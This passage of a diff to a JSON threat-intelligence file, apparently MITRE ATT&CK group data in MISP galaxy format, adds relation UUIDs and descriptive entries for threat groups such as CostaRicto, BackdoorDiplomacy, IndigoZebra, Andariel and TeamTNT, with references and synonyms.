+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9e7452df-5144-4b6e-b04a-b66dd4016747",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "274770e0-2612-4ccf-a678-ef8e7bad365d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b17a1a56-e99c-403c-8948-561df0cffe81",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "10d51417-ee35-4589-b1ff-b6df1c334e8d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "359b00ad-9425-420b-bba5-6de8d600cbc0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3433a9e8-1c47-4320-b9bf-ed449061d1c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "92d7da27-2d91-488e-a00c-059dc162766d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "57d83eac-a2ea-42b0-a7b2-c80c55157790",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "7113eaa5-ba79-4fb3-b68a-398ee9cd698e",
@@ -22336,6 +24434,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "d69e568e-9ac8-4c08-b32c-d93b43ba9172",
@@ -23122,6 +25227,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "32bca8ff-d900-4877-aa65-d70baa041b74",
@@ -23203,6 +25315,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "6b9ebeb5-20bf-48b0-afb7-988d769a2f01",
@@ -23908,6 +26027,13 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "edc5e045-5401-42bb-ad92-52b5b2ee0de9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "94873029-f950-4268-9cfd-5032e15cb182",
@@ -24884,11 +27010,112 @@
"estimative-language:likelihood-probability=\"almost-certain\""
],
"type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
}
],
"uuid": "8c1f0187-0826-4320-bddc-5f326cfcfe2c",
"value": "Chimera - G0114"
},
+ {
+ "description": "[CostaRicto](https://attack.mitre.org/groups/G0132) is a suspected hacker-for-hire cyber espionage campaign that has targeted multiple industries worldwide since at least 2019. [CostaRicto](https://attack.mitre.org/groups/G0132)'s targets, a large portion of which are financial institutions, are scattered across Europe, the Americas, Asia, Australia, and Africa, with a large concentration in South Asia.(Citation: BlackBerry CostaRicto November 2020)",
+ "meta": {
+ "external_id": "G0132",
+ "refs": [
+ "https://attack.mitre.org/groups/G0132",
+ "https://blogs.blackberry.com/en/2020/11/the-costaricto-campaign-cyber-espionage-outsourced"
+ ],
+ "synonyms": [
+ "CostaRicto"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "005a06c6-14bf-4118-afa0-ebcd8aebb0c9",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a782ebe2-daba-42c7-bc82-e8e9d923162d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "13cd9151-83b7-410d-9f98-25d0f0d1d80d",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4fe28b27-b13c-453e-a386-c2ef362a573b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ed7d0cb1-87a6-43b4-9f46-ef1bc56d6c68",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ff6caf67-ea1f-4895-b80e-4bb0fc31c6db",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "13183cdf-280b-46be-913a-5c6df47831e7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d342981-5194-41e7-b33f-8e91998d7d88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "425771c5-48b4-4ecd-9f95-74ed3fc9da59",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "bb82e0b0-6e9c-439f-970a-4c917a74c5f2",
+ "value": "CostaRicto - G0132"
+ },
{
"description": "The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)",
"meta": {
@@ -25565,7 +27792,728 @@
],
"uuid": "4283ae19-69c7-4347-a35e-b56f08eb660b",
"value": "ZIRCONIUM - G0128"
+ },
+ {
+ "description": "[BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) is a cyber espionage threat group that has been active since at least 2017. [BackdoorDiplomacy](https://attack.mitre.org/groups/G0135) has targeted Ministries of Foreign Affairs and telecommunication companies in Africa, Europe, the Middle East, and Asia.(Citation: ESET BackdoorDiplomacy Jun 2021)",
+ "meta": {
+ "external_id": "G0135",
+ "refs": [
+ "https://attack.mitre.org/groups/G0135",
+ "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/"
+ ],
+ "synonyms": [
+ "BackdoorDiplomacy"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "da04ac30-27da-4959-a67d-450ce47d9470",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5a3a31fe-5a8f-48e1-bff0-a753e5b1be70",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b63970b7-ddfb-4aee-97b1-80d335e033a8",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2fee9321-3e71-4cf4-af24-d4d40d355b34",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c21d5a77-d422-4a69-acd7-2c53c1faa34b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "350f12cf-fd3b-4dad-b323-14b943090df4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "1c34f7aa-9341-4a48-bfab-af22e51aca6c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "9735c036-8ebe-47e9-9c77-b0ae656dab93",
+ "value": "BackdoorDiplomacy - G0135"
+ },
+ {
+ "description": "[IndigoZebra](https://attack.mitre.org/groups/G0136) is a suspected Chinese cyber espionage group that has been targeting Central Asian governments since at least 2014.(Citation: HackerNews IndigoZebra July 2021)(Citation: Checkpoint IndigoZebra July 2021)(Citation: Securelist APT Trends Q2 2017)",
+ "meta": {
+ "external_id": "G0136",
+ "refs": [
+ "https://attack.mitre.org/groups/G0136",
+ "https://thehackernews.com/2021/07/indigozebra-apt-hacking-campaign.html",
+ "https://research.checkpoint.com/2021/indigozebra-apt-continues-to-attack-central-asia-with-evolving-tools/",
+ "https://securelist.com/apt-trends-report-q2-2017/79332/"
+ ],
+ "synonyms": [
+ "IndigoZebra"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "88d31120-5bc7-4ce3-a9c0-7cf147be8e54",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "919a056e-5104-43b9-ad55-2ac929108b71",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "21583311-6321-4891-8a37-3eb4e57b0fb1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a2fdce72-04b2-409a-ac10-cc1695f4fce0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "e5603ea8-4c36-40e7-b7af-a077d24fedc1",
+ "value": "IndigoZebra - G0136"
+ },
+ {
+ "description": "[Andariel](https://attack.mitre.org/groups/G0138) is a North Korean state-sponsored threat group that has been active since at least 2009. [Andariel](https://attack.mitre.org/groups/G0138) has primarily focused its operations--which have included destructive attacks--against South Korean government agencies, military organizations, and a variety of domestic companies; they have also conducted cyber financial operations against ATMs, banks, and cryptocurrency exchanges. [Andariel](https://attack.mitre.org/groups/G0138)'s notable activity includes Operation Black Mine, Operation GoldenAxe, and Campaign Rifle.(Citation: FSI Andariel Campaign Rifle July 2017)(Citation: IssueMakersLab Andariel GoldenAxe May 2017)(Citation: AhnLab Andariel Subgroup of Lazarus June 2018)(Citation: TrendMicro New Andariel Tactics July 2018)(Citation: CrowdStrike Silent Chollima Adversary September 2021)\n\n[Andariel](https://attack.mitre.org/groups/G0138) is considered a sub-set of [Lazarus Group](https://attack.mitre.org/groups/G0032), and has been attributed to North Korea's Reconnaissance General Bureau.(Citation: Treasury North Korean Cyber Groups September 2019)\n\nNorth Korean group definitions are known to have significant overlap, and some security researchers report all North Korean state-sponsored cyber activity under the name [Lazarus Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.",
+ "meta": {
+ "external_id": "G0138",
+ "refs": [
+ "https://attack.mitre.org/groups/G0138",
+ "https://www.fsec.or.kr/user/bbs/fsec/163/344/bbsDataView/1680.do",
+ "http://www.issuemakerslab.com/research3/",
+ "http://download.ahnlab.com/global/brochure/[Analysis]Andariel_Group.pdf",
+ "https://www.trendmicro.com/en_us/research/18/g/new-andariel-reconnaissance-tactics-hint-at-next-targets.html",
+ "https://adversary.crowdstrike.com/en-US/adversary/silent-chollima/",
+ "https://home.treasury.gov/news/press-releases/sm774"
+ ],
+ "synonyms": [
+ "Andariel",
+ "Silent Chollima"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "7807d3a4-a885-4639-a786-c1ed41484970",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3c4a2599-71ee-4405-ba1e-0e28414b4bc5",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "44c75271-0e4d-496f-ae0a-a6d883a42a65",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2e34237d-8574-43f6-aace-ae2915de8597",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "232b7f21-adf9-4b42-b936-b9d6f7df856e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "88c621a7-aef9-4ae0-94e3-1fc87123eb24",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "baf60e1a-afe5-4d31-830f-1b1ba2351884",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d742a578-d70e-4d0e-96a6-02a9c30204e6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "c2e147a9-d1a8-4074-811a-d8789202d916",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0dda99f0-4701-48ca-9774-8504922e92d3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ }
+ ],
+ "uuid": "39d6890e-7f23-4474-b8ef-e7b0343c5fc8",
+ "value": "Andariel - G0138"
+ },
+ {
+ "description": "[TeamTNT](https://attack.mitre.org/groups/G0139) is a threat group that has primarily targeted cloud and containerized environments. The group as been active since at least October 2019 and has mainly focused its efforts on leveraging cloud and container resources to deploy cryptocurrency miners in victim environments. (Citation: Palo Alto Black-T October 2020)(Citation: Lacework TeamTNT May 2021)(Citation: Intezer TeamTNT September 2020)(Citation: Cado Security TeamTNT Worm August 2020)(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro TeamTNT)(Citation: ATT TeamTNT Chimaera September 2020)(Citation: Aqua TeamTNT August 2020)(Citation: Intezer TeamTNT Explosion September 2021)",
+ "meta": {
+ "external_id": "G0139",
+ "refs": [
+ "https://attack.mitre.org/groups/G0139",
+ "https://unit42.paloaltonetworks.com/black-t-cryptojacking-variant/",
+ "https://www.lacework.com/blog/taking-teamtnt-docker-images-offline/",
+ "https://www.intezer.com/blog/cloud-security/attackers-abusing-legitimate-cloud-monitoring-tools-to-conduct-cyber-attacks/",
+ "https://www.cadosecurity.com/team-tnt-the-first-crypto-mining-worm-to-steal-aws-credentials/",
+ "https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/",
+ "https://documents.trendmicro.com/assets/white_papers/wp-tracking-the-activities-of-teamTNT.pdf",
+ "https://cybersecurity.att.com/blogs/labs-research/teamtnt-with-new-campaign-aka-chimaera",
+ "https://blog.aquasec.com/container-security-tnt-container-attack",
+ "https://www.intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf"
+ ],
+ "synonyms": [
+ "TeamTNT"
+ ]
+ },
+ "related": [
+ {
+ "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d63a3fb8-9452-4e9d-a60a-54be68d5998c",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "cba37adb-d6fb-4610-b069-dd04c0643384",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "9efb1ea7-c37b-4595-9640-b7680cd84279",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "a9d4b653-6915-42af-98b2-5758c4ceee56",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "2959d63f-73fd-46a1-abd2-109d7dcede32",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "deb98323-e13f-4b0c-8d94-175379069062",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "707399d6-ab3e-4963-9315-d9d3818cd6a0",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5502c4e9-24ef-4d5f-8ee9-9e906c2f82c4",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "db8f5003-3b20-48f0-9b76-123e44208120",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0f20e3cb-245b-4a61-8a91-2d93f7cb0e9b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "19bf235b-8620-4997-b5b4-94e0659ed7c3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "0470e792-32f8-46b0-a351-652bc35e9336",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "df8b2a25-8bdf-4856-953c-a04372b1c161",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "56e0d8b8-3e25-49dd-9050-3aa252f5aa92",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40f5caa0-4cb7-4117-89fc-d421bb493df3",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b0c74ef9-c61e-4986-88cb-78da98a355ec",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "635cbe30-392d-4e27-978e-66774357c762",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "3ee16395-03f0-4690-a32e-69ce9ada0f9e",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "40a1b8ec-7295-416c-a6b1-68181d86f120",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "b76b2d94-60e4-4107-a903-4a3a7622fb3b",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88",
+ "tags": [
+ "estimative-language:likelihood-probability=\"almost-certain\""
+ ],
+ "type": "uses"
+ },
+ {
+ "dest-uuid": "5a33468d-844d-4b1f-98c9-0e786c556b27",
+ "tags": [
